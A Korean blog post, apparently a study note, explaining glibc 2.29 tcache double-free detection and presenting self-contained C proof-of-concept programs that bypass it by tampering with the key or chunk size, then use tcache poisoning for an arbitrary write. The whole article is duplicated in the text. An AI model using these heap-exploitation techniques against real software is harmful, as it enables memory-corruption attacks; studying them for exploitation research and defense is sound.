카테고리 없음

Tcache dup / glibc 2.29

Kon4 2023. 2. 18. 19:26

Tcache dup / glibc 2.29

다음과 같은 명령어로 glibc 소스 코드를 다운 받을 수 있다.

$wget <https://ftp.gnu.org/gnu/glibc/glibc-2.29.tar.gz>

tcache 에 관련된 코드를 보자.

먼저 tcache_entry 코드를 보면 다음과 같다.

// GLIBC 2.26
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

// GLIBC 2.29
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key; //diffrence
} tcache_entry;

key 구조체 포인터가 추가되었다.

struct tcache_perthread_struct *key;

2.26 버전의 tcache는 DFB에 대한 아무런 검증이 없어, 연속 청크 해제를 통해 tcache_bin인 단일 링크드 리스트가 같은 영역을 가르킬 수 있게끔 했다.

하지만 2.27 이상의 버전엔 tcache_entry 구조체에 key 멤버 변수가 추가되면서, 주석에서 알 수 있다시피 DFB에 대한 검증을 하고 있다는 것을 알 수 있다.

다음은 tcache_put 함수이다.

// GLIBC 2.26
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);//using chunk's metadata
  assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
  e->next = tcache->entries[tc_idx]; //Make previous chunk a fd. (LIFO)
  tcache->entries[tc_idx] = e; //current chunk inserted into bins 
  ++(tcache->counts[tc_idx]);
}

// GLIBC 2.29
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

주요한 부분만 언급해 보면, 현재 해제되는 chunk의 정보를 e 변수에 넣고, tc_idx는 몇번째 tcache_bin을 사용할지 에 대한 변수이다. tcache->counts[tc_idx] 현재 bin(tcache_entry[tc_idx])에 연결되어 있는 청크들에 대한 정보 담겨있다. 더불어 2.29 버전에는 e->key = tcache 가 추가 되어있다. 이는 tcache_put 함수에서 DFB 에 대해 처리하지 않고 _int_free 함수에서 처리하는 것을 목적으로 한다.

tcache_get

// GLIBC 2.26
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

// GLIBC 2.29
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

tacahe_get 함수는 put 함수와는 다르게 e->key 에 NULL을 대입한다.

그럼 이 key가 무슨 역할을 하는지 알아 보도록하겠습니다.

_int_free

tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free.  However, we don't 100%
   trust it (it also matches random payload data at a 1 in
   2^<size_t> chance), so verify it's not an unlikely
   coincidence before aborting.  */
if (__glibc_unlikely (e->key == tcache))
{
	tcache_entry *tmp;
	LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
		if (tmp == e)
			malloc_printerr ("free(): double free detected in tcache 2");
			/* If we get here, it was a coincidence.  We've wasted a
			   few cycles, but don't abort.  */
}
  • p는 주소이고 e는 포인터 이기때문에 데이터를 이어서 쓰는 것이다.(p는 청크의 userdata 주소)

이를 참고해서 조건문을 보면 tcache_entry 의 key 가 tcache일 경우, tmp가 참일 경우 반복문을 돌리게 되는데, 현 bin에 있는 주소값을 tmp, 그리고 현재 청크 e와 같은 주소를 쓴다면 에러를 출력한다. 만약 아닐경우 fd를 타고 들어가 현 bin의 끝까지 타고 들어가 검사한다.

tcache double free bypass

tcache_put 함수에서 e-key에 tcache 포인터를 삽입하는데, 이후에 한번더 같은 청크를 해제하면 Double Free 에러를 내기때문에, 이를 우회해야한다.

먼저 다음과 같은 조건 중 하나를 충족하면 이를 우회할 수 있다.

  • 힙 오버플로우 발생
  • Use After Free 발생

위와 같은 취약점은 직접 e->key 값을 조작할 수 있어, 이를 우회 할 수 있다.

  1. e-key, bk 값 변조를 사용한 방법.

e-key가 존재하는 부분은 userdata segment의 bk, heap[1] 부분이다. 결국 우회하려면 청크의 사이즈를 변경해야 한다. heap[0] 부분은 fd 부분이다. heap의 주소는 chunk의 user data 를 가르키고 있다. ( Singly Linked List 이므로 fd 만 사용)

 

 

tcache_dfb_poc

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[1] = 0x0; //falsify e-key in user data's bk
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd in user data
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG
  1. size 값을 변경한 방법(검증된 버전 glibc 2.27)

*2.31 버전은 해당 구문 검증 우회 확인은 됐으나, 정상 overwrite가 안됨

사이즈값을 이용해 for문 안 검증 우회.

tcache_bin은 64개 존재하는데 해당 청크의 사이즈를 조작 할 수 있다면, 한 청크를 각기 다른 tcache_bin에 삽입하여 if (tmp == e) 를 우회 할 수 있을 것이다.

for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
		if (tmp == e)

일단 tcache는 0xF 을 한 단위로 tcache를 구분한다는 것을 알수 있었다.

하지만 chunk는 0x10 단위로 맞춰 주지 않으면 다음과 같은

free(): invalid size Aborted

에러를 내기 떄문에 0x10을 한 단위로 묶인다고 생각하면 된다. 또한 청크의 메타 데이터 사이즈가 0x10 이기 때문에 최소 청크의 사이즈는 0x20 이다. 이를 참고해서 진행하도록 하겠다.

ALL 64
tcache structure: singly linked list -> LIFO

max chunk: 7

tcache range: 32 ~ 1040 --> range of fast and small bin

**First Search object when chunk size is in tcache range.

*if tcache is fully, Chunk allocates bin of own's size.

그럼

먼저 aborted 되는 소스 코드와 결과이다.

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[-1] = 0x30; //falsify chunk's size
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}

ptr[-1] = 0x30 로 변조하였는데, 이는 위 malloc 0x20 사이즈에서 meta data의 사이즈를 더한 값이다.

root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
free(): double free detected in tcache 2
Aborted

위 와 같이 에러가 난다.

그럼 코드를 약간 변경하겠다.

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[-1] = 0x420; //falsify chunk's size this size is not 0x30 and 0x410 over.
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
double free or corruption (!prev)
Aborted
root@3392453bb3df:/work/dh/HEAP_AEG#

위를 토대로 할당된 힙 청크의 크기와 0x410을 넘지만 않는다면 우회할 수 있을 거라는 결론이 나온다. 실제로 해보자.

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[-1] = 0x410; //falsify e-key 
	/*
	ptr[-1] = 0x20;
	ptr[-1] = 0x50;
	ptr[-1] = 0X80;
	...
	...
	*/
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG#

분석 한출평: 2.31 버전도 뜯어보면 위의 문제의 이유를 알 수 있을 것이고, 다른 공격 기법도 고안할 수 있을 것 같다.

  • 추가 내용: fd를 조작하여 bin을 변형, 내가 원하는 변수에 청크 할당. (glibc 2.27, 2.31에선 안됨)
  • 이는 double free를 사용하지 않는 방법이다.
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>

int a = 12;

int main(int argc,char **argv)
{
    //this is tcache
    /*
    *typedef struct tcache_entry
    {
        struct tcache_entry *next;
   //This field exists to detect double frees.  
        struct tcache_perthread_struct *key;
    } tcache_entry;
     */
	malloc(0x10);
	malloc(0x10);
	
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("tcache_dup can help you achieve \\"arbitrary address writes\\"\\n");
    void *p,*q,*r,*d;
    p = malloc(0x10);
    free(p);

    *(uint64_t *)p = (uint64_t)&a; // bin: p -> q
    printf("now p's next pointer = q\\n");
    printf("p's next = %p ,q = %p\\n",*(uint64_t *)p,&a);
    printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!\\n");
    r = malloc(0x10); // bin : q 
    d = malloc(0x10); // d = q, 
	*(uint64_t *)d = 0x123;

	printf("p's next = %p ,q = %p\\n",*(uint64_t *)d, a);
}
#2.27
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x5603cdc01010 ,q = 0x5603cdc01010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0x123
root@3392453bb3df:/work/dh/HEAP_AEG#

#2.31
root@07d3540857dc:~/ctf/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x558006801010 ,q = 0x558006801010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0xc
root@07d3540857dc:~/ctf/dh/HEAP_AEG#

Tcache dup / glibc 2.29

Author: LeeSungKwon

다음과 같은 명령어로 glibc 소스 코드를 다운 받을 수 있다.

$wget <https://ftp.gnu.org/gnu/glibc/glibc-2.29.tar.gz>

tcache 에 관련된 코드를 보자.

먼저 tcache_entry 코드를 보면 다음과 같다.

// GLIBC 2.26
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

// GLIBC 2.29
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key; //diffrence
} tcache_entry;

key 구조체 포인터가 추가되었다.

struct tcache_perthread_struct *key;

2.26 버전의 tcache는 DFB에 대한 아무런 검증이 없어, 연속 청크 해제를 통해 tcache_bin인 단일 링크드 리스트가 같은 영역을 가르킬 수 있게끔 했다.

하지만 2.27 이상의 버전엔 tcache_entry 구조체에 key 멤버 변수가 추가되면서, 주석에서 알 수 있다시피 DFB에 대한 검증을 하고 있다는 것을 알 수 있다.

다음은 tcache_put 함수이다.

// GLIBC 2.26
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);//using chunk's metadata
  assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
  e->next = tcache->entries[tc_idx]; //Make previous chunk a fd. (LIFO)
  tcache->entries[tc_idx] = e; //current chunk inserted into bins 
  ++(tcache->counts[tc_idx]);
}

// GLIBC 2.29
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS); //TCACHE_MAX_BINS = 64
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

주요한 부분만 언급해 보면, 현재 해제되는 chunk의 정보를 e 변수에 넣고, tc_idx는 몇번째 tcache_bin을 사용할지 에 대한 변수이다. tcache->counts[tc_idx] 현재 bin(tcache_entry[tc_idx])에 연결되어 있는 청크들에 대한 정보 담겨있다. 더불어 2.29 버전에는 e->key = tcache 가 추가 되어있다. 이는 tcache_put 함수에서 DFB 에 대해 처리하지 않고 _int_free 함수에서 처리하는 것을 목적으로 한다.

tcache_get

// GLIBC 2.26
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

// GLIBC 2.29
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

tacahe_get 함수는 put 함수와는 다르게 e->key 에 NULL을 대입한다.

그럼 이 key가 무슨 역할을 하는지 알아 보도록하겠습니다.

_int_free

tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free.  However, we don't 100%
   trust it (it also matches random payload data at a 1 in
   2^<size_t> chance), so verify it's not an unlikely
   coincidence before aborting.  */
if (__glibc_unlikely (e->key == tcache))
{
	tcache_entry *tmp;
	LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
		if (tmp == e)
			malloc_printerr ("free(): double free detected in tcache 2");
			/* If we get here, it was a coincidence.  We've wasted a
			   few cycles, but don't abort.  */
}
  • p는 주소이고 e는 포인터 이기때문에 데이터를 이어서 쓰는 것이다.(p는 청크의 userdata 주소)

이를 참고해서 조건문을 보면 tcache_entry 의 key 가 tcache일 경우, tmp가 참일 경우 반복문을 돌리게 되는데, 현 bin에 있는 주소값을 tmp, 그리고 현재 청크 e와 같은 주소를 쓴다면 에러를 출력한다. 만약 아닐경우 fd를 타고 들어가 현 bin의 끝까지 타고 들어가 검사한다.

tcache double free bypass

tcache_put 함수에서 e-key에 tcache 포인터를 삽입하는데, 이후에 한번더 같은 청크를 해제하면 Double Free 에러를 내기때문에, 이를 우회해야한다.

먼저 다음과 같은 조건 중 하나를 충족하면 이를 우회할 수 있다.

  • 힙 오버플로우 발생
  • Use After Free 발생

위와 같은 취약점은 직접 e->key 값을 조작할 수 있어, 이를 우회 할 수 있다.

  1. e-key, bk 값 변조를 사용한 방법.

e-key가 존재하는 부분은 userdata segment의 bk, heap[1] 부분이다. 결국 우회하려면 청크의 사이즈를 변경해야 한다. heap[0] 부분은 fd 부분이다. heap의 주소는 chunk의 user data 를 가르키고 있다. ( Singly Linked List 이므로 fd 만 사용)

tcache_dfb_poc

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[1] = 0x0; //falsify e-key in user data's bk
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd in user data
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG
  1. size 값을 변경한 방법(검증된 버전 glibc 2.27)

*2.31 버전은 해당 구문 검증 우회 확인은 됐으나, 정상 overwrite가 안됨

사이즈값을 이용해 for문 안 검증 우회.

tcache_bin은 64개 존재하는데 해당 청크의 사이즈를 조작 할 수 있다면, 한 청크를 각기 다른 tcache_bin에 삽입하여 if (tmp == e) 를 우회 할 수 있을 것이다.

for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
		if (tmp == e)

일단 tcache는 0xF 을 한 단위로 tcache를 구분한다는 것을 알수 있었다.

하지만 chunk는 0x10 단위로 맞춰 주지 않으면 다음과 같은

free(): invalid size Aborted

에러를 내기 떄문에 0x10을 한 단위로 묶인다고 생각하면 된다. 또한 청크의 메타 데이터 사이즈가 0x10 이기 때문에 최소 청크의 사이즈는 0x20 이다. 이를 참고해서 진행하도록 하겠다.

ALL 64
tcache structure: singly linked list -> LIFO

max chunk: 7

tcache range: 32 ~ 1040 --> range of fast and small bin

**First Search object when chunk size is in tcache range.

*if tcache is fully, Chunk allocates bin of own's size.

그럼

먼저 aborted 되는 소스 코드와 결과이다.

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[-1] = 0x30; //falsify chunk's size
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}

ptr[-1] = 0x30 로 변조하였는데, 이는 위 malloc 0x20 사이즈에서 meta data의 사이즈를 더한 값이다.

root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
free(): double free detected in tcache 2
Aborted

위 와 같이 에러가 난다.

그럼 코드를 약간 변경하겠다.

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[-1] = 0x420; //falsify chunk's size this size is not 0x30 and 0x410 over.
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
double free or corruption (!prev)
Aborted
root@3392453bb3df:/work/dh/HEAP_AEG#

위를 토대로 할당된 힙 청크의 크기와 0x410을 넘지만 않는다면 우회할 수 있을 거라는 결론이 나온다. 실제로 해보자.

#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdio.h>
uint64_t target = 0x50;
int main()
{
	uint64_t *ptr = malloc(0x20);
	uint64_t *ptr2;
	free(ptr);
	ptr[-1] = 0x410; //falsify e-key 
	/*
	ptr[-1] = 0x20;
	ptr[-1] = 0x50;
	ptr[-1] = 0X80;
	...
	...
	*/
	free(ptr);  //DFB
	ptr[0] = (uint64_t)&target; //fd
	malloc(0x20); //fd -> tcache bin
	ptr2 = malloc(0x20); //target allocated
	ptr2[0] = 0x41414141; //modify target's data
	printf("target : 0x%lx\\n", target);
}
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG# gcc -o poc poc.c
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
target : 0x41414141
root@3392453bb3df:/work/dh/HEAP_AEG#

분석 한출평: 2.31 버전도 뜯어보면 위의 문제의 이유를 알 수 있을 것이고, 다른 공격 기법도 고안할 수 있을 것 같다.

  • 추가 내용: fd를 조작하여 bin을 변형, 내가 원하는 변수에 청크 할당. (glibc 2.27, 2.31에선 안됨)
  • 이는 double free를 사용하지 않는 방법이다.
#include<stdio.h>
#include<stdlib.h>
#include<inttypes.h>

int a = 12;

int main(int argc,char **argv)
{
    //this is tcache
    /*
    *typedef struct tcache_entry
    {
        struct tcache_entry *next;
   //This field exists to detect double frees.  
        struct tcache_perthread_struct *key;
    } tcache_entry;
     */
	malloc(0x10);
	malloc(0x10);
	
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    printf("tcache_dup can help you achieve \\"arbitrary address writes\\"\\n");
    void *p,*q,*r,*d;
    p = malloc(0x10);
    free(p);

    *(uint64_t *)p = (uint64_t)&a; // bin: p -> q
    printf("now p's next pointer = q\\n");
    printf("p's next = %p ,q = %p\\n",*(uint64_t *)p,&a);
    printf("so,We can malloc twice to get a pointer to q,sure you can change this to what you want!\\n");
    r = malloc(0x10); // bin : q 
    d = malloc(0x10); // d = q, 
	*(uint64_t *)d = 0x123;

	printf("p's next = %p ,q = %p\\n",*(uint64_t *)d, a);
}
#2.27
root@3392453bb3df:/work/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x5603cdc01010 ,q = 0x5603cdc01010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0x123
root@3392453bb3df:/work/dh/HEAP_AEG#

#2.31
root@07d3540857dc:~/ctf/dh/HEAP_AEG# ./poc
tcache_dup can help you achieve "arbitrary address writes"
now p's next pointer = q
p's next = 0x558006801010 ,q = 0x558006801010
so,We can malloc twice to get a pointer to q,sure you can change this to what you want!
p's next = 0x123 ,q = 0xc
root@07d3540857dc:~/ctf/dh/HEAP_AEG#